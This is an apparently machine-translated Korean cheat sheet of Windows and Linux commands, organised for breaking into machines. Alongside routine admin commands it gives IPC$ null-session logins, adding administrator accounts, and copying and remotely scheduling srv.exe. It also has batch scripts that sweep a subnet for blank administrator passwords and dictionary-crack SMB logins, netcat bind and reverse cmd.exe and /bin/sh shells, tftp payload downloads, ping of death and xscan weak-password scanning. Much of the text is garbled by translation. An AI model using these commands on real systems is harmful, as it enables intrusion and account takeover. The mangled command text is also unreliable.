컴퓨터 명령

Regedit 를 사용하여 레지스트리에 들어가야 합니다.

Net use \\ip\ipc$ ""/user: ""IPC null 링크를 설정합니다.

Net 은 \\ip\ipc$ "password" /user: "user name" 을 사용하여 IPC null 이 아닌 링크를 설정합니다.

Net 은 H:\ \ IP \ C $ "password "/ user:" user name "을 사용하여 직접 로그인하여 상대 c: local 에 매핑합니다. h:

Net 은 h: \\ip\c$ 를 사용하여 로그인한 후 서로를 매핑합니다. C: 현지에 가면 h:

Net use \\ip\ipc$ /del IPC 링크 제거.

Net 은 h: /del 을 사용하여 상대와 로컬 간 매핑을 삭제합니다. 이름은 h:

Net 사용자 사용자 이름 암호/추가 사용자 만들기.

네트워크 사용자 게스트/활동: 예 게스트 사용자를 활성화합니다.

Net 사용자는 어떤 사용자가 있는지 확인할 수 있습니다.

Net 사용자 계정 이름 계정의 속성을 봅니다.

Net localgroup administrators 사용자 이름 /add 는' 사용자' 를 관리자에게 추가하여 관리자 권한을 부여합니다. 참고: 관리자 뒤에 복수 s 를 추가하십시오.

Net 은 열려 있는 서비스를 보기 시작했습니다.

Net start 서비스 이름 시작 서비스; (예: 네트워크 부팅 원격 로그인, 네트워크 시작 스케줄)

네트워크 중지 서비스 이름 서비스를 중지합니다.

Net time \\ 대상 IP 는 서로의 시간을 확인합니다.

Net time \\ Target IP /set 로컬 컴퓨터의 시간을' 대상 IP' 호스트의 시간과 동기화하고 /yes 매개 변수를 추가하여 확인 메시지를 취소합니다.

로컬 LAN 에서 활성화된 * * * 권한을 확인합니다.

Net view \\ip 상대 LAN 에서 열린 * * * 권한을 확인합니다.

네트워크 구성 시스템 네트워크 설정을 표시합니다.

인터넷 오프라인 연결 끊기 * * * 즐기세요

Net 일시 중지 서비스 이름 일시 중지 서비스.

넷세이프' 문자메시지' 가 상대방에게 메시지를 보낸다.

네트워크 연결 유형 및 정보는 네트워크에 사용됩니다.

인터넷 공유는 현지 * * * 즐기세요.

순 점유율 ipc$ 오픈 ipc$*** * 즐기세요.

순 점유율 ipc$ /del IPC 삭제 $ * * *

순 점유율 c $/Dell 삭제 c:* * * * 즐기세요.

Net 사용자 게스트 12345 로그인 후 비밀번호를12345 로 변경합니다.

Net password 비밀번호 시스템 로그인 비밀번호를 변경합니다.

Netstat -a 를 눌러 열려 있는 포트를 확인합니다. Netstat -an 을 자주 사용합니다.

Netstat -n 은 포트의 네트워크 접속 (보통 netstat -an) 을 확인합니다.

진행 중인 작업 보기

Netstat -p 프로토콜 이름 예: netstat -p tcq/ip 프로토콜 사용 보기 (tcp/ip 프로토콜 사용 보기).

Netstat -s 는 사용 중인 모든 프로토콜의 사용량을 확인합니다.

Nbtstat -A IP 상대 136 부터 139 까지의 IP 포트 중 하나가 열려 상대방이 최근 로그인한 사용자 이름 (03 이전 사용자 이름) 을 볼 수 있습니다-참고: 매개변수 -A 는 대문자여야 합니다.

Tracert- 매개 변수 IP (또는 컴퓨터 이름) 추적 라우팅 (패킷), 매개 변수: "-w 번호" 는 시간 초과 간격을 설정합니다.

Ping IP (또는 도메인 이름) 는 기본 크기가 32 바이트인 데이터를 다른 호스트로 보냅니다. 매개 변수는 "-l [공간] 패킷 크기" 입니다. -n 회 데이터 전송; -t' 는 ping 을 계속한다는 의미입니다.

Ping -t -l 65550 IP Ping of death (k 보다 큰 파일을 보내고 항상 ping 을 ping of death 로 변경)

Ipconfig (winipcfg) 는 windows NT 및 XP(windows 95 98) 에서 기본 IP 주소를 보는 데 사용되며 Ipconfig 는' /all' 매개변수를 사용하여 모든 구성 정보를 표시할 수 있습니다.

Tlist -t 는 프로세스를 트리 행 목록으로 표시합니다. 시스템의 추가 도구이며 기본적으로 설치되지 않으며 설치 디렉토리의 Support/tools 폴더 아래에 있습니다.

Kill -F 프로세스 이름에 -F 매개 변수를 추가하여 프로세스를 강제로 종료합니다 (시스템의 추가 도구이며 기본적으로 설치되지 않고 설치 디렉토리의 Support/tools 폴더 아래에 있음).

-F 매개변수를 추가하면 Del -F 파일 이름을 삭제할 수 있습니다. /AR, /AH, /AS 및 /AA 는 각각 읽기 전용, 숨김, 시스템 및 아카이브 파일 삭제를 나타냅니다. /A-R, /A-H, /A-S 및 /A-A 는 읽기 전용, 숨김, 시스템 및 아카이브 이외의 파일을 삭제한다는 의미입니다. 예: "DEL/AR *. * "는 현재 디렉토리에서 모든 읽기 전용 파일을 삭제하는 것을 의미합니다." DEL/A-S *. * "는 현재 디렉토리에서 시스템 파일을 제외한 모든 파일을 삭제한다는 의미입니다.

/S /Q 디렉토리를 삭제하거나: rmdir /s /Q directory /S 를 사용하여 해당 디렉토리와 그 아래에 있는 모든 하위 디렉토리와 파일을 삭제합니다. 매개변수 /Q 를 함께 사용하여 삭제 작업을 취소하고 시스템 확인 후 직접 삭제합니다. (두 명령의 효과는 같습니다.)

문자 이동 \ 경로 \ 이동할 파일 이름을 저장하는 경로 \ 파일 이름 이동 후 /y 매개 변수를 사용하여 메시지를 취소하고 이동 디렉토리에 동일한 파일이 있는지 확인하고 직접 덮어씁니다.

Fcone.txt two.txt > 3t.txt 두 파일을 비교하고 차이를 3t.txt 파일로 출력합니다. ">" 및 "> > 이것은 리디렉션 명령입니다

At id 번호 등록된 예약된 작업을 엽니다.

At /delete 는 모든 예약된 작업을 중지하며 /yes 매개변수를 사용하여 확인 없이 바로 중지할 수 있습니다.

Id 번호/삭제 시 등록된 예약된 작업을 중지합니다.

모든 예약된 작업을 봅니다.

At \\ip time 프로그램 이름 (또는 명령) /r 한 번에 다른 쪽 프로그램을 실행하고 컴퓨터를 다시 시작합니다.

손가락 username @host 최근에 로그인한 사용자를 확인합니다.

텔넷 IP 포트는 로그인 서버에서 멀리 떨어져 있으며 기본 포트는 23 입니다.

Open IP 가 IP 에 연결됨 (텔넷 로그인 후 명령)

Telnet: 이 컴퓨터에 직접 telnet 을 입력하면 이 시스템에 telnet 을 입력합니다.

경로 복사 \ 파일 이름 1 경로 \ 파일 이름 2 /y 파일 1 을 지정된 디렉토리에 파일 2 로 복사하고 /y 매개변수를 사용하여 확인을 취소하고 기존 카탈로그 파일을 덮어씁니다.

C:\srv.exe \\ip\admin$ 복제 로컬 c:\srv.exe 를 서로의 admin 에 복제합니다.

Cppy 1st. jpg/b+2st. txt/a3st.jpg 2st.txt 의 내용을1st.jpg, 3st 에 숨깁니다 참고: 2st.txt 파일 헤더는 세 줄로 비워야 합니다. 매개 변수: /b 는 바이너리를 나타내고 /a 는 ASCLL 파일을 나타냅니다.

Copy \ \ IP \ admin $ \ svv.exe c: \ or: copy \ \ IP \ admin $ \ *. * 다른 admini$*** 가 받는 srv.exe 파일 (모든 파일) 을 로컬 c: 로 복사:

Xcopy 파일 또는 디렉토리 트리 대상 주소 \ 디렉토리 이름 파일 및 디렉토리 트리를 복사하여 /y 프롬프트 없이 동일한 파일을 덮어씁니다.

Tftp -i own IP (고기 기계를 발판으로 할 때 고기 기계 IP 사용) server.exe c:\server. exe 로그인 후' IP' server.exe 를 대상 호스트 c: \ see 로 다운로드합니다 Exe 매개 변수: -i 는 EXE 파일을 전송할 때와 같은 바이너리 모드로 전송하거나 -i 를 추가하지 않으면 ASCII 모드 (텍스트 파일 전송 모드) 로 전송됨을 의미합니다.

Tftp -i IP put c:\server.exe 로그인, 로컬 c:\server.exe 를 호스트에 업로드.

Ftp IP 포트는 서버에 파일을 업로드하거나 파일 작업을 수행하는 데 사용됩니다. 기본 포트는 2 1 입니다. Bin 은 이진 전송 (실행 파일 포털) 을 나타냅니다. 기본적으로 ASCII 형식 (텍스트 파일인 경우) 으로 전송됩니다.

경로 인쇄에는 IP 경로가 표시되며 주로 네트워크 주소 네트워크 주소, 서브넷 마스크 넷마스크, 게이트웨이 주소 게이트웨이 주소 및 인터페이스 주소 인터페이스가 표시됩니다.

Arp 는 ARP 캐시를 확인하고 처리합니다. ARP 는 이름 확인을 나타내며 IP 주소를 물리적 MAC 주소로 확인하는 역할을 합니다. Arp -a 는 모든 정보를 표시합니다.

시작프로그램 이름 또는 명령 /max 또는 /min 새 창을 열고 프로그램 또는 명령 실행을 최대화 (최소화) 합니다.

Cpu 사용량을 확인하는 데 사용되는 메모리입니다

Attrib 파일 이름 (디렉토리 이름) 파일 (디렉토리) 의 속성을 봅니다.

Attrib 파일 이름 -A -R -S -H 또는 +A +R +S +H 파일의 아카이브, 읽기 전용, 시스템 및 숨겨진 속성을 제거 (추가) 합니다. With+ 를 속성으로 추가합니다.

파일의 디렉토리를 봅니다. 매개 변수: /Q 는 파일과 디렉토리가 속한 사용자를 표시하고, /T:C 는 파일이 생성된 시간을 표시하고, /T:A 는 파일에 마지막으로 액세스한 시간을 표시하고, /T:W 는 파일이 마지막으로 수정된 시간을 표시합니다.

날짜 /t, 시간 /t 이 매개 변수인 날짜 /T 와 시간 /T 를 사용하면 새 날짜와 시간을 입력하지 않고 현재 날짜와 시간만 표시됩니다.

Set 환경 변수 이름 = 변수에 할당할 문자 설정 환경 변수를 지정합니다.

Set 현재 환경 변수를 모두 표시합니다.

Set p (또는 기타 문자) 는 현재 문자 p (또는 기타 문자) 로 시작하는 모든 환경 변수를 표시합니다.

배치 프로그램을 일시 중지하고 표시합니다. 계속하려면 아무 키나 누르십시오. ....

If 는 배치 프로그램에서 조건부 처리를 수행합니다. 자세한 내용은 if 명령 및 변수를 참조하십시오

Goto 태그는 배치 프로그램의 태그 행을 cmd.exe 로 가리킵니다. 이 태그는 콜론으로 시작하는 별도의 행이어야 합니다 (예: ":start" 태그).

경로₩배치 파일 이름 호출 배치 프로그램에서 다른 배치 프로그램을 호출합니다 (call/? ) 을 참조하십시오

For 는 파일 그룹의 각 파일에 대해 특정 명령을 실행합니다. 자세한 내용은 for commands and variables 를 참조하십시오.

에코 켜기/끄기 에코를 켜거나 끄고 현재 에코 설정을 표시합니다. 에코만 있고 매개변수는 없습니다.

에코 정보는 화면에 정보를 표시합니다.

에코 정보 > & gtPass.txt 정보를 pass.txt 파일에 저장합니다.

Findstr "Hello" aa.txt aa.txt 파일에서 문자열 Hello 를 찾습니다.

파일 이름 찾기 파일 찾기

제목 제목 이름 CMD 창의 제목 이름을 변경합니다.

Color 값은 cmd 콘솔의 전경색과 배경색을 설정합니다. 0 = 검은색, 1 = 파란색, 2 = 녹색, 3 = 연한 녹색, 4 = 빨간색, 5 = 자주색, 6 = 노란색, 7= 흰색, 8= 회색, 9

프롬프트 이름은 cmd.exe 가 표시하는 명령 프롬프트를 변경합니다 (C:\, D:\ 를: EntSky\ 로 통합 변경).

플롯 파일 이름 플롯 텍스트 파일

Ver DOS 창에 버전 정보를 표시합니다.

Winver 팝업 창에 버전 정보 (메모리 크기, 시스템 버전, 패치 버전, 컴퓨터 이름) 가 표시됩니다.

Format letter /FS: type 디스크 포맷, 유형: FAT, FAT32, NTFS (예: Format D: /FS:NTFS).

Md 디렉토리 이름 디렉토리 만들기

소스 파일 바꾸기 대체된 파일의 디렉토리 바꾸기 파일

원본 파일 이름 새 파일 이름 파일 이름 변경

Tree 는 디렉토리를 트리 구조로 표시합니다. 첫 번째 폴더의 파일 이름은 -f 매개변수를 사용하여 나열됩니다.

유형 파일 이름 텍스트 파일의 내용을 표시합니다.

더 많은 파일 이름이 화면별로 출력 파일을 표시합니다.

Doskey 명령 잠금 = 문자

Doskey command to unlock = DOS 에 제공되는 lock 명령 (명령행 편집, win2k 명령 호출, 매크로 만들기). 예: lock dir 명령: doskey dir=entsky (doskeydir = dir 은 사용할 수 없음); 잠금 해제: doskey dir=

Taskmgr 에서 작업 관리자를 호출합니다

Chkdsk /F D: 디스크 d 를 확인하고 상태 보고서를 표시합니다. 매개 변수 /f 를 추가하고 디스크의 오류를 복구합니다.

Tlntadmn telnt service admn 을 입력하고 Tlntadmn 을 입력하고 3 을 선택한 다음 8 을 선택하여 telnet 서비스의 기본 포트 23 을 다른 포트로 변경합니다.

종료 cmd.exe 프로그램을 종료하거나 현재 /B 매개 변수를 사용하여 cmd.exe 대신 현재 배치 스크립트를 종료합니다.

경로 경로 \ 실행 파일의 파일 이름 실행 파일의 경로를 설정합니다.

Cmd 는 win2K 명령 해석 창을 시작합니다. 매개변수: /eff, /en 명령 확장을 끄고 켭니다. Cmd/?

Regedit /s 레지스트리 파일 이름을 레지스트리로 가져옵니다. 매개 변수 /S 는 프롬프트 없이 자동 모드 가져오기를 의미합니다.

Regedit /e 레지스트리 파일 이름 내보내기 레지스트리

CACLs 파일 이름 매개 변수 파일 ACL (액세스 제어 목록) 표시 또는 수정? NTFS 형식의 경우. 매개 변수: /D 사용자 이름: 사용자 액세스를 거부하도록 설정 /P 사용자 이름: perm 은 지정된 사용자의 액세스 권한을 대체합니다. /G 사용자 이름: perm 은 지정된 사용자에게 액세스 권한을 부여합니다. Perm 은 다음과 같을 수 있습니다: n 없음, r 읽기, w 쓰기, c 변경 (쓰기), f 전체 제어; 예: cacls D:\test.txt /D pub pub 사용자의 액세스를 거부하도록 D:\test.txt 를 설정합니다.

Cacls 파일 이름 파일에 대한 액세스 사용자 권한 목록을 봅니다.

REM 텍스트 내용 배치 파일에 주석 추가

로컬 네트워크 구성 보기 또는 변경

IIS 서비스 명령:

Iisreset /reboot 는 win2k 컴퓨터를 다시 시작합니다 (시스템을 다시 시작하라는 메시지가 표시됨).

Iisreset /start 또는 stop 은 모든 인터넷 서비스를 시작 (중지) 합니다.

Iisreset /restart 모든 인터넷 서비스를 중지했다가 다시 시작합니다.

Iisreset /status 는 모든 인터넷 서비스의 상태를 표시합니다.

Iisreset /enable 또는 disable 로컬 시스템에서 인터넷 서비스를 활성화 (비활성화) 합니다.

Iisreset /rebootonerror 인터넷 서비스를 시작, 정지 또는 재시작할 때 오류가 발생하면 다시 시작됩니다.

인터넷 서비스를 중지할 수 없는 경우 Iisreset /noforce 는 인터넷 서비스를 강제로 종료하지 않습니다.

시간 초과 (초) 가 만료되면 Iisreset /timeout Val 이 인터넷 서비스를 중지하지 않습니다. /rebooterror 매개 변수를 지정하면 컴퓨터가 다시 시작됩니다. 기본값은 재부팅 20 초, 중지 60 초, 재시작 0 초입니다.

FTP 명령: (자세한 내용은 나중에 제공)

Ftp 의 명령줄 형식은 다음과 같습니다.

FTP-V-D-I-N-G[ 호스트 이름 ]-V 는 원격 서버의 모든 응답 정보를 표시합니다.

-d 는 디버그 모드를 사용합니다.

-n FTP 자동 로그인을 제한합니다. 즉, 사용하지 않습니다. Netrc 파일.

-g 글로벌 파일 이름을 취소합니다.

도움말 [명령] 또는? [명령] 명령 설명을 봅니다

Bye 또는 quit 호스트 FTP 프로세스를 종료하고 FTP 관리 모드를 종료합니다.

Pwd 는 현재 원격 호스트 디렉토리를 나열합니다.

로컬 파일 이름 업로드 또는 전송 [호스트에 업로드된 파일 이름] 로컬 파일을 원격 호스트로 보냅니다.

Get 또는 recv[ 원격 호스트의 파일 이름] [로컬로 다운로드한 파일 이름] 원격 호스트에서 로컬 호스트로 전송됩니다.

Mget [remote-files] 는 원격 호스트에서 로컬 호스트로 파일 배치를 받습니다.

Mput local-files 는 로컬 호스트에서 원격 호스트로 파일 배치를 전송합니다.

Dir 또는 ls[ 원격 디렉토리] [로컬 파일] 현재 원격 호스트 디렉토리에 있는 파일을 나열합니다. 로컬 파일이 있는 경우 결과는 로컬 파일에 기록됩니다.

Ascii 는 파일을 ASCII 형식으로 전송하도록 설정합니다 (기본값).

Bin 또는 image 설정 파일은 바이너리 모드로 전송됩니다.

벨은 파일 전송이 완료될 때마다 경고를 보냅니다.

Cdup 는 이전 디렉토리로 돌아갑니다.

원격 서버와의 FTP 세션 중단 닫기 (열기에 해당)

Open host[port] 지정된 FTP 서버에 대한 연결을 설정하고 연결 포트를 지정할 수 있습니다.

삭제 원격 호스트에서 파일을 삭제합니다.

한 무더기의 서류를 삭제하다.

Mkdir directory-name 은 원격 호스트에 디렉토리를 만듭니다.

[시작] [끝] 이름 바꾸기 원격 호스트의 파일 이름을 변경합니다.

Rmdir directory-name 은 원격 호스트에서 디렉토리를 삭제합니다.

상태 현재 FTP 상태를 표시합니다.

시스템에 원격 호스트 시스템 유형이 표시됩니다.

사용자 이름 [암호] [계정] 다른 사용자 이름을 사용하여 원격 호스트에 다시 로그인합니다.

Open host [port] 가 새 연결을 다시 설정합니다.

프롬프트 상호 작용 프롬프트 모드

Macdef 매크로 정의 명령

Lcd 는 현재 로컬 호스트의 작업 디렉토리를 변경하고, 기본값이 되면 현재 사용자의 홈 디렉토리로 이동합니다.

Chmod 원격 호스트의 파일 사용 권한을 변경합니다.

대/소문자가 켜져 있으면 MGET 명령으로 복사한 파일 이름이 로컬 시스템으로 전송되고 모든 파일이 소문자로 변환됩니다.

Cd remote-dir 이 원격 호스트 디렉토리로 들어갑니다.

Cdup 는 원격 호스트 디렉토리의 상위 디렉토리로 들어갑니다.

! 로컬 시스템에서 대화식 셸을 실행하면 exit 는 FTP 환경으로 돌아갑니다. 예를 들면 다음과 같습니다! Ls*. 활력

MYSQL 명령:

Mysql -h 호스트 주소 -u 사용자 이름 -p 암호 연결 MySQL; 방금 MYSQL 을 설치한 경우 루트 수퍼유저는 비밀번호가 없습니다.

(예: MySQL-h110.10.10./kloc-0

참고: u 와 root 는 비워 둘 수도 있고, 다른 것도 할 수 있습니다.)

종료 MYSQL 종료

Mysqladmin -u username -p 이전 비밀번호 새 비밀번호 비밀번호 변경

데이터베이스에 대한 select 권한을 부여합니다. * 사용자 이름 @ "암호" 로 식별되는 로그인 호스트; 새 사용자를 추가합니다. (참고: 위와 달리 아래는 MYSQL 환경의 명령이므로 뒤에 세미콜론을 명령 종료자로 사용합니다. ) 을 참조하십시오

데이터베이스 표시 데이터베이스 리스트를 표시합니다. 처음에는 MySQL 과 test 라는 두 개의 데이터베이스만 있었습니다. Mysql 라이브러리는 매우 중요합니다. 여기에는 MYSQL 시스템 정보가 포함되어 있습니다. 우리가 비밀번호를 수정하고 새 사용자를 추가할 때, 사실 모두 이 라이브러리를 사용해서 조작한 것이다.

Mysql 사용

테이블 표시 라이브러리의 데이터 테이블 을 표시합니다

테이블 이름 설명 데이터 테이블의 구조를 표시합니다

데이터베이스 라이브러리 이름 작성 도서관 한 채를 짓다

라이브러리 이름 사용

양식 테이블 이름 작성 (필드 설정 리스트); 손목시계 하나를 만들다

데이터베이스 라이브러리 이름 삭제

테이블 이름 삭제 데이터베이스 삭제 및 테이블 삭제

테이블 이름에서 제거 테이블에서 레코드 지우기

Select * from 테이블 이름; 테이블에 레코드 표시

Mysqldump-opt school & gt;; School.bbb 백업 데이터베이스: (명령은 DOS 의 \\mysql\\bin 디렉토리에서 실행됨); 주: 데이터베이스 school 을 임의의 파일 이름을 가진 텍스트 파일인 school.bbb 파일에 백업합니다. 열어서 새로운 발견이 있는지 보자.

Win2003 시스템의 새로운 명령 (유틸리티 섹션):

Shut down/ 매개 변수 로컬 또는 원격 호스트 종료 또는 재시작.

매개 변수 설명: /S 호스트 종료, /R 호스트 재부팅, /T 0 ~ 180 초 범위 내에 지연 시간 설정, /A 시작 취소, /m//IP 지정 원격 호스트.

예: shutdown /r /t 0 지연 없이 즉시 로컬 호스트 재부팅

Task ill/ parameters 프로세스 이름 또는 프로세스의 PID 가 하나 이상의 작업과 프로세스를 종료합니다.

매개 변수 설명: /pid 프로세스의 PID 를 종료하려면 tasklist 명령을 사용하여 각 프로세스의 PID, /IM 이 종료할 프로세스의 프로세스 이름, /F 는 프로세스를 강제로 종료하고, /T 는 지정된 프로세스와 시작된 하위 프로세스를 종료합니다.

Tasklist 는 현재 로컬 및 원격 호스트에서 실행 중인 프로세스, 서비스 및 서비스 프로세스의 PID (프로세스 식별자) 를 표시합니다.

매개 변수 설명: /M 현재 프로세스에 로드된 dll 파일을 나열하고, /SVC 는 각 프로세스에 해당하는 서비스를 표시하며, 매개 변수가 없으면 현재 프로세스만 나열합니다.

리눅스 시스템의 기본 명령: 대/소문자를 구분합니다.

Uname 은 버전 정보를 표시합니다 (win2K 의 ver 와 동일)

Dir 은 현재 카탈로그 파일을 표시하고 ls -al 은 숨겨진 파일 (win2K 의 dir 과 동일) 을 표시합니다.

Pwd 는 현재 디렉토리 위치를 조회합니다.

Cd CD ... 이전 디렉토리로 돌아가서 CD 와 사이에 공백이 있음을 확인합니다 ... CD/ 루트 디렉토리로 돌아갑니다.

카터빌러 파일 이름 파일 내용 보기

Cat & gtAbc.txt abc.txt 파일에 내용을 씁니다

더 많은 파일 이름 페이지별로 텍스트 파일을 표시합니다.

Cp 파일 복사

Mv 모바일 파일

Rm 파일 이름은 파일을 제거하고 RM- 디렉토리 이름은 디렉토리와 하위 디렉토리를 삭제합니다.

Mkdir 디렉토리 이름 디렉토리 만들기

Rmdir 은 디렉토리에 문서가 없는 하위 디렉토리를 삭제합니다.

Chmod 파일 또는 디렉토리에 대한 액세스 권한을 설정합니다.

Grep 는 파일에서 문자열을 찾습니다.

차등 파일 비교

파일 검색 찾기

날짜 현재 날짜 및 시간입니다.

현재 당신과 같은 기계를 사용하고 있는 사람과 로그인 시간과 장소를 문의하는 사람.

W 현재 컴퓨터 사용자의 세부 정보를 쿼리합니다.

Whoami 는 계정 이름을 확인합니다.

그룹누군가의 그룹을 봅니다.

Passwd 비밀번호 변경

역사, 자신의 명령을 확인하십시오.

Ps 프로세스 상태를 표시합니다.

Kill 은 프로세스를 중지합니다.

Gcc 해커는 일반적으로 C 언어로 작성된 파일을 컴파일하는 데 사용합니다.

Su 권한이 지정된 사용자로 변환됩니다.

텔넷 IP 텔넷은 win2K 와 같은 다른 호스트에 연결하고 bash$ 가 나타나면 연결이 성공합니다.

Ftp FTP 는 서버에 연결됩니다 (win2K 와 동일).

첨부 파일: 일괄 처리 명령 및 변수

1:for 명령 및 변수의 기본 형식:

For/parameter% variable in (set) do command [command _ parameters]% variable: %i 와 같은 단일 문자 대치 가능한 매개변수를 지정합니다

일괄 처리가 %0 에서 시작됩니까? %9*** 10 여기서 %0 은 기본적으로 배치 파일 이름에 사용되고% 1 은 이 배치를 사용할 때 입력한 첫 번째 값입니다. 비슷한: %2? %9 는 입력된 2-9 번째 값입니다. 예: netuse \ \ IP \ ipC $ pass/user: 사용자 중 IP 는% 1, pass 는% 2, 사용자는 %3 입니다.

(설정): (d: ₩ user.txt) 및 (11254) (/kloc 과 같은 와일드카드 문자를 사용하여 파일 또는 파일 그룹을 지정합니다

Command: 첫 번째 파일에서 실행할 명령을 지정합니다. 예를 들어 net use command 여러 명령을 실행하려면 이 방에&;를 추가합니다 분리하다

Command_parameters: 특정 명령에 대한 매개변수 또는 명령행 스위치를 지정합니다.

IN (set): (set) 의 값을 나타냅니다. DO 명령: 명령 실행을 나타냅니다.

매개변수: /L 은 증분 형식 {(set) 은 증분 형식}; /F 는 {(set) 가 완료될 때까지 파일에서 연속적으로 값을 가져오는 것을 의미합니다 (예: (d:\pass.txt)}.

사용 예:

@ 에코 끄기

Echo 는 test.bat * 형식을 사용합니다. *. * > 테스트. txt

For/l%% gin (11254) do echo%1. %% G>& gttest.txt & amp 네트워크 사용 \ \% 1. %% g/user: administrator | find "명령이 성공적으로 완료되었습니다" >> 테스트. txt

Test.bat 설명으로 저장: 지정된 클래스 c 네트워크 세그먼트의 254 개 IP 에 대해 관리자 암호가 비어 있는 IPC$ 연결을 차례로 시도합니다. 성공하면 IP 를 test.txt 에 저장합니다.

/L 은 증분 형식 (즉 1-254 또는 254-1) 을 나타냅니다. IP 의 처음 세 자리 숫자 입력: *. *. * 일괄 처리의 기본%1; %%G 는 변수 (IP 의 마지막 비트) 입니다. & amp 는 echo 와 net use 명령을 분리하는 데 사용됩니다. | ipc$ 설정 $,결과에 find 를 사용하여' 명령이 성공적으로 완료되었습니다' 라는 정보가 있는지 확인 : % 1.%%G 는 완전한 IP 주소입니다. (1 1 254) 는 시작, 증가 및 종료 값입니다.

@ 에코 끄기

Echo 사용 형식: ok.bat IP

/F %%i IN (D:\user.dic) 에 대해 smb.exe%1%%I d: \ pass.dic 200 을 합니다

다른 이름으로 저장: ok.exe 설명: IP 를 입력한 후 파일의 모든 값을 가져올 때까지 사전 파일 d:\pass.dic 를 사용하여 d:\user.dic 의 사용자 암호를 해독합니다. %%i 는 사용자 이름입니다. % 1 은 입력한 IP 주소 (기본값) 입니다.

2.2:if 명령 및 변수의 기본 형식:

IF [not] errorlevel 숫자 명령 문 프로그램이 결국 지정된 숫자보다 크거나 같은 종료 코드를 반환하는 경우 지정된 조건은 true 입니다.

예: IF errorlevel 0 명령은 반환 값이 0 일 때 프로그램이 실행된 후의 명령입니다. IF not errorlevel 1 명령은 프로그램 실행으로 반환된 마지막 값이 1 과 같지 않을 경우 다음 명령이 실행됨을 의미합니다.

0 은 찾아서 성공적으로 실행한다는 것을 의미합니다 (참). 1 찾지 못했거나 실행되지 않았음을 나타냅니다 (false).

IF [not] string 1== string 2 명령문 지정된 텍스트 문자열이 일치하는 경우 (즉, string 1 string 2) 다음 명령이 실행됩니다.

예: "if"% 2% "=" 4 "goto start" 는 두 번째 변수를 4 로 입력하면 다음 명령이 실행됨을 의미합니다 (참고: 변수를 호출할 때% variable name% 에 ""가 추가됩니다

IF [not] exist 파일 이름 명령 문 지정된 파일 이름이 있으면 다음 명령이 실행됩니다.

예:' nc.exe 게토엔이 아니라면' 는 NC.EXE 의 파일을 찾지 못하면': 끝' 레이블로 건너뛰는 것을 의미한다.

IF [not] errorlevel 숫자 명령 문 else 명령 문 또는 if [not] string 1== string 2 명령 문 else 명령 문 또는 IF [not] exist 파일 이름 명령 문 else 명령 주: else 는 동일한 행에 있어야 유효합니다. Del 명령이 있는 경우 del 명령의 전체 내용을 사용해야 합니다

(2) 시스템 외부 명령 (관련 도구 다운로드 필요):

1, 스위스 군용 칼: nc.exe

매개변수 설명:

-h 도움말 정보 보기

-3 차원 배경 모드

-e Prog 프로그램 리디렉션, 연결되면 [위험]

Isecs 지연 간격

-l 수신 접속용 수신 모드

-L 모니터링 모드, 연결 종료 후 CTR+C 까지 계속 모니터링.

-n IP 주소, 도메인 이름이 아닙니다.

-o 슬라이스 레코드 16 전송.

-p[ space] port 로컬 포트 번호

-r 임의 로컬 및 원격 포트

-t 텔넷 상호 작용 모드를 사용합니다.

-u UDP 모드

-v 자세한 출력, -vv 를 사용하면 더 상세합니다.

-w 숫자 시간 초과 지연 간격

-z 는 입력 및 출력을 끕니다 (앵커를 스윕하는 데 사용되는 경우)

기본 사용법:

Nc-nvv192.168.0.180192./kloc-0 에 연결

Nc -l -p 80 은 네이티브 TCP 80 포트 수신 기능을 켭니다.

Nc-nvv-w2-z192.168.0.180-102480

Nc-l-p5354-t-e c: winntsystem32cmd.exe 는 원격 호스트의 cmdshell 을 원격 호스트의 TCP 5354 포트에 바인딩합니다.

Nc-t-e c: winnt system32cmd.exe192.168.0.2 5354 원격 호스트의 cmdshell 설정, 역방향 연결/

고급 사용법:

Nc -L -p 80 허니팟용 1: 80 개를 열고 CTR+C 까지 계속 수신합니다.

Nc-l-p80 > C:\log.txt 허니팟으로 2: 포트 80 을 열고 CTR+C 까지 계속 수신하며 결과를 c: \ log.txt 로 출력합니다.

Nc-l-p80 < C:\honeyport.txt 허니팟으로 3- 1: 80 포트를 열고 CTR+C 까지 계속 수신하며 c:\honeyport.txt 의 내용을 파이프로 전송하거나 파일을 전송할 수 있습니다

Type.exe C:\ honey port | NC-L-P 80 은 허니팟으로 사용됩니다. 3-2: 포트 80 을 열고 CTR+C 까지 계속 수신하며 c:\honeyport.txt 의 내용을 파이프로 전송하는 것도 파일 전송 역할을 합니다.

이 시스템의 경우 NC -l -p 로컬 포트입니다.

다른 호스트: NC-e cmd.exe 기본 IP -p 로컬 포트 *win2K.

Nc -e /bin/sh 기본 IP -p 로컬 포트 *linux, UNIX 역방향 연결이 상대 호스트의 방화벽을 돌파합니다.

네이티브 사용: NC -d -l -p 로컬 포트

상대 호스트: nc-vv local IP localport >; 저장된 파일의 경로와 이름입니다. 파일을 다른 호스트로 보냅니다.

참고:

파이프 명령

& lt 또는 > 리디렉션 명령. "<" (예: tlntadmn < Test.txt 는 Test.txt 의 내용을 tlntadmn 명령에 할당하는 것을 의미합니다.

@ 는 @ 뒤에 있는 명령을 실행하되 표시하지 않음을 나타냅니다 (백그라운드에서 실행). 예: @ @ dir c:\ win nt >>;; D:\log.txt 는 dir 이 백그라운드에서 실행되고 결과가 D: \ log.txt 에 저장된다는 것을 의미합니다.

& gtWith >> ">" 의 차이점은 덮어쓰기; "> > 는 저장 대상 (추가 대상) 을 의미합니다.

예: @ dir c:\ win nt >>;; D:\log.txt 와 @dir c:\winnt > 두 명령 d:\log.txt 두 번 비교: use >;; & gt 의 목적은 모든 2 차 결과를 저장하는 것입니다. 사용: > 단 하나의 결과만 있습니다. 두 번째 결과가 첫 번째 결과를 덮어쓰기 때문입니다.

2. 스캔 앵커 도구: xscan.exe.

기본 형식

Xscan-host & lt;; 시작 IP & gt[-& lt;; IP & gt]& lt;; 종료 테스트 항목 > [기타 옵션] 아나운서' 시작 IP ~ 종료 IP' 섹션의 모든 호스트 정보를 검색합니다.

Xscan-file & lt;; 호스트 목록 파일 이름 >< 테스트 항목 > [기타 옵션] 앵커에 있는 모든 호스트 정보' 호스트 IP 목록 파일 이름' 검색

시범 사업

-active 는 호스트가 활성 상태인지 감지합니다.

-운영 체제가 NETBIOS 및 SNMP 프로토콜을 통해 원격 운영 체제 유형을 감지합니다

-port 는 일반적으로 사용되는 서비스의 포트 상태를 감지합니다.

-ftp 감지 FTP 약한 비밀번호

-pub 는 FTP 서비스를 감지하는 익명 사용자의 쓰기 권한입니다.

-pop3 감지 pop 3- 서버 약한 암호

-smtp 가 SMTP 서버 취약점을 감지했습니다

-sql 테스트 SQL-Server 약한 암호

